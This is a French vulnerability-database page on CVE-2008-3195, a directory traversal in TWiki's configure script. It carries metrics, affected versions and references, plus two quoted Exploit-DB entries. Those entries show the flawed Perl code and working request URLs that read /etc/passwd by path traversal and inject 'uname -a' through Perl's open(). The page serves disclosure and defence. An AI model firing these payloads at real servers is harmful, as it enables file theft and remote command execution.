CVE-2008-3195 : Détail

CVE-2008-3195

Directory Traversal
A01-Broken Access Control
11.73%V3
Network
2008-09-17
16h06 +00:00
2017-09-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Directory traversal vulnerability in bin/configure in TWiki before 4.2.3, when a certain step in the installation guide is skipped, allows remote attackers to read arbitrary files via a query string containing a .. (dot dot) in the image variable, and execute arbitrary files via unspecified vectors.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 6269

Date de publication : 2008-08-18 22h00 +00:00
Auteur : Th1nk3r
EDB Vérifié : Yes

################################################################################################################ # # # TWiki 4.2.0 File Disclosure Vuln (configure) # # # ################################################################################################################ "We're brazilian newbies!!! :p" - Th1nk3r Info ---------------------------------------------------------------------------------------------------------------- Classe : Input Validation Error Remote : Yes Local : No Date : 05/08/2008 Credits : Th1nk3r (cnwfhguohrugbo / gmail.com) Greetz : w4n73d h4ck3r, Vitor, Vonnatur, FuradordeSyS, B470-Killer, M4v3rick. Description ---------------------------------------------------------------------------------------------------------------- TWiki version 4.2.0 (I haven't tested other versions) is vulnerable to a File Disclosure. It's only possible to exploit the bug if you can access the "/bin/configure" script. Otherwise, you can not exploit this bug. Vulnerable code of "/bin/configure" script: if( $action eq 'image' ) { # SMELL: this call is correct, but causes a perl error # on some versions of CGI.pm # print $query->header(-type => $query->param('type')); # So use this instead: print 'Content-type: '.$query->param('type')."\n\n"; if( open(F, 'logos/'.$query->param('image' ))) { local $/ = undef; print <F>; close(F); } exit 0; } The bug is in the open() function. The file is set by visitor, and there is no protection added by the programmer. Note that "$query->param('type')" can be set by the visitor. Therefore, you'll set it to "text/plain". Exploit ---------------------------------------------------------------------------------------------------------------- To exploit the bug, you just need set the "image" variable to the path of file you wish to view. The file will be revealed if you have permission to view it. By example, to show the "/etc/passwd" file content, go to : http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain Solution ---------------------------------------------------------------------------------------------------------------- Read "http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide", Basic Installation, topic 8, for more information of how to protect your "configure" script. # milw0rm.com [2008-08-19]
Exploit Database EDB-ID : 6509

Date de publication : 2008-09-20 22h00 +00:00
Auteur : webDEViL
EDB Vérifié : Yes

#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------# #-----------TWiki Remote Code Execution <= 4.2.2--------------------# # ----------developers site: http://www.twiki.org-------------------# # ----------CVE Id(s) : CVE-2008-3195--------------------------# # http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion. According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;) Vulnerable code: if( $action eq 'image' ) { # SMELL: this call is correct, but causes a perl error # on some versions of CGI.pm # print $query->header(-type => $query->param('type')); # So use this instead: print 'Content-type: '.$query->param('type')."\n\n"; if( open(F, 'logos/'.$query->param('image' ))) { local $/ = undef; print <F>; close(F); } http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain # milw0rm.com [2008-09-21]

Products Mentioned

Configuraton 0

Twiki>>Twiki >> Version To (including) 4.2.2

Twiki>>Twiki >> Version 4.0

Twiki>>Twiki >> Version 4.0.0

    Twiki>>Twiki >> Version 4.0.1

      Twiki>>Twiki >> Version 4.0.2

        Twiki>>Twiki >> Version 4.0.3

          Twiki>>Twiki >> Version 4.0.4

            Twiki>>Twiki >> Version 4.0.5

            Twiki>>Twiki >> Version 4.1.0

              Twiki>>Twiki >> Version 4.1.1

                Twiki>>Twiki >> Version 4.1.2

                Twiki>>Twiki >> Version 4.2.0

                  Twiki>>Twiki >> Version 4.2.1

                    Références

                    http://secunia.com/advisories/31849
                    Tags : third-party-advisory, x_refsource_SECUNIA
                    https://www.exploit-db.com/exploits/6269
                    Tags : exploit, x_refsource_EXPLOIT-DB
                    http://securityreason.com/securityalert/4265
                    Tags : third-party-advisory, x_refsource_SREASON
                    http://secunia.com/advisories/31964
                    Tags : third-party-advisory, x_refsource_SECUNIA
                    http://www.vupen.com/english/advisories/2008/2586
                    Tags : vdb-entry, x_refsource_VUPEN
                    http://www.kb.cert.org/vuls/id/362012
                    Tags : third-party-advisory, x_refsource_CERT-VN